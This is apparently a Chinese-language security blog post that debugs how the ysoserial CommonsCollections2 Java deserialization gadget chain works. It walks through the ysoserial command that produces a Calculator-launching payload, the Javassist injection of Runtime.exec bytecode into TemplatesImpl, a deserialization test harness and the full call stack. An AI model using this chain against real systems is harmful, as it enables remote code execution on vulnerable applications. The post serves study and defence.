ysoserial-payloads-CommonsCollections2调试分析
简介 分析完了CommonsCollections1,就接着分析下CommonsCollections2。 测试环境: commons-collections-4.0 java version "1.8.0_112" 分析目标命令: java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "/System/Applicati
简介
分析完了CommonsCollections1,就接着分析下CommonsCollections2。
测试环境:
- commons-collections-4.0
- java version "1.8.0_112"
分析目标命令:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
下载Ysoserial源码:
git clone https://github.com/frohoff/ysoserial.git
IDEA打开pom.xml,导入为maven项目。
小知识
javassist
javassist是一个开源的分析、编辑和创建Java字节码的类库。其主要的优点,在于简单,而且快速。直接使用 java编码的形式,而不需要了解虚拟机指令,就能动态改变类的结构,或者动态生成类。
Ysoserial在生成Payload中也是使用的javassist类库。
几个重要的Javassist类对象:
ClassPool:一个基于Hashtable实现的CtClass对象容器,其中键名是类名称,值是表示该类的CtClass对象。CtClass:CtClass表示类,一个CtClass(编译时类)对象可以处理一个class文件,这些CtClass对象可以从ClassPool获得。CtMethods:表示类中的方法。CtFields:表示类中的字段。
创建ClassPool对象
//ClassPool pool = new ClassPool(true);
ClassPool pool = ClassPool.getDefault();
使用的是默认系统的类搜索路径获取ClassPool对象
添加类搜索路径
pool.insertClassPath(new ClassClassPath(this.getClass()));
//pool.insertClassPath("/usr/local/javalib");
将类搜索路径插入到搜索路径,或者将目录作为类搜索路径
查找并获取CtClass对象
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath("XXXXXXX"));
CtClass ctClass = pool.get("XXXXX");
依据key从Hash表中查找对应的CtClass对象
CtClass可被修改
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath("XXXXXXX"));
CtClass ctClass = pool.get("XXXXX");
ctClass.setSuperclass(pool.get("XXXXXX"));
修改并设置父类
byte[] b = ctClass.toBytecode();
获取修改后的字节码
Class clazz = ctClass.toClass();
转换成Class对象
优先级队列 PriorityQueue
PriorityQueue一个基于优先级的无界优先级队列。
优先级队列的元素按照其自然顺序进行排序,放入PriorityQueue的元素,必须实现Comparable接口,PriorityQueue会根据元素的排序顺序决定出队的优先级;或者根据构造队列时提供的Comparator进行排序,元素就不必实现Comparable接口,具体取决于所使用的构造方法。
/**
* Creates a {@code PriorityQueue} with the specified initial capacity
* that orders its elements according to the specified comparator.
*
* @param initialCapacity the initial capacity for this priority queue
* @param comparator the comparator that will be used to order this
* priority queue. If {@code null}, the {@linkplain Comparable
* natural ordering} of the elements will be used.
* @throws IllegalArgumentException if {@code initialCapacity} is
* less than 1
*/
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}
调试Ysoserial
根据目标命令确定入口文件为GeneratePayload.class

ysoserial.GeneratePayload#main

然后传入CommonsCollections2调用Utils.getPayloadClass
ysoserial.payloads.ObjectPayload.Utils#getPayloadClass

加载ysoserial.payloads.CommonsCollections2类并返回,调用newInstance实例化,然后对象调用getObject生成Payload。
ysoserial.payloads.CommonsCollections2#getObject

调用Gadgets.createTemplatesImpl并传入预想执行的命令。
ysoserial.payloads.util.Gadgets#createTemplatesImpl(java.lang.String)

继续调用构造函数createTemplatesImpl
class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

使用Javassist生成Payload,创建ClassPool对象并添加两个类搜索路径:
class com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTransletysoserial.payloads.util.Gadgets
ysoserial.payloads.util.Gadgets.StubTransletPayload

StubTransletPayload继承AbstractTranslet类。
回到TemplatesImpl,分析过程如下:
- 无参数实例化
class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类。 - 利用
Javassist获取StubTransletPayload类字节码。 - 创建通过
java.lang.Runtime.getRuntime().exec()执行命令的java代码的字符串。 - 获取
StubTransletPayload类构造函数的字节码,并新增恶意命令的字节码到构造函数字节码中。 - 在利用
Javassist设置StubTransletPayload父类为class com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,但这一步其实已经重复(StubTransletPayload定义时已经继承),可能是为了代码优雅。 toBytecode()获取修改后的StubTransletPayload类字节码,通过反射放入class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类实例的_bytecodes成员中,并完善其他成员,然后返回到getObject。
ysoserial/payloads/CommonsCollections2.java:35

创建InvokerTransformer实例,并作为参数传入TransformingComparator类的构造函数。
org.apache.commons.collections4.comparators.TransformingComparator#TransformingComparator(org.apache.commons.collections4.Transformer<? super I,? extends O>)

org.apache.commons.collections4.comparators.TransformingComparator#TransformingComparator(org.apache.commons.collections4.Transformer<? super I,? extends O>, java.util.Comparator<o>)</o>

TransformingComparator类实例中的transformer成员存储InvokerTransformer实例,TransformingComparator类实例又作为参数传入PriorityQueue。
java.util.PriorityQueue#PriorityQueue(int, java.util.Comparator<? super E>)

TransformingComparator类实例存储在PriorityQueue的comparator成员中
ysoserial/payloads/CommonsCollections2.java:44

通过反射修改InvokerTransformer实例中的iMethodName成员为newTransformer
ysoserial/payloads/CommonsCollections2.java:47

通过反射获取PriorityQueue实例的queue数组成员,并将TemplatesImpl类实例放入成员数组,最后返回PriorityQueue对象,序列化后输出作为payload。
java.util.PriorityQueue#siftDown

Gadget chain
maven依赖:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
测试代码:
package test;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Queue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class commonscollections2 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
FileInputStream fis = null;
//fis = new FileInputStream("src/test/java/test/test.ser");
fis = new FileInputStream("/Users/rai4over/Desktop/ysoserial/test.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}
}
作者给出的:
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
java.util.PriorityQueue#readObject

PriorityQueue重写了readObject,首先通过defaultReadObject执行默认的反序列化操作
java.util.PriorityQueue#queue

queue成员本来被transient修饰,不能默认反序列化,但自定义通过循环设置成员数组queue,此时两个关键成员:

java.util.PriorityQueue#heapify

进入heapify进行排序,循环遍历成员数组queue,TemplatesImpl实例作为参数传入siftDown
java.util.PriorityQueue#siftDownUsingComparator

org.apache.commons.collections4.comparators.TransformingComparator#compare

org.apache.commons.collections4.functors.InvokerTransformer#transform

通过反射调用TemplatesImpl类中的newTransformer方法
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses

在循环中通过loader.defineClass加载恶意字节码到_class成员,回到上层函数,_class[_transletIndex].newInstance()进行实例化,完成命令执行,函数调用栈:
exec:347, Runtime (java.lang)
<clinit>:-1, Pwner71837519276875 (ysoserial)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
transform:129, InvokerTransformer (org.apache.commons.collections4.functors)
compare:81, TransformingComparator (org.apache.commons.collections4.comparators)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1909, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
main:14, commonscollections2 (test)
参考
https://www.jianshu.com/p/43424242846b
https://www.cnblogs.com/chiangchou/p/javassist.html#_label1
https://www.jianshu.com/p/c577796e537a
https://y4er.com/post/ysoserial-commonscollections-2/
https://www.liaoxuefeng.com/wiki/1252599548343744/1265120632401152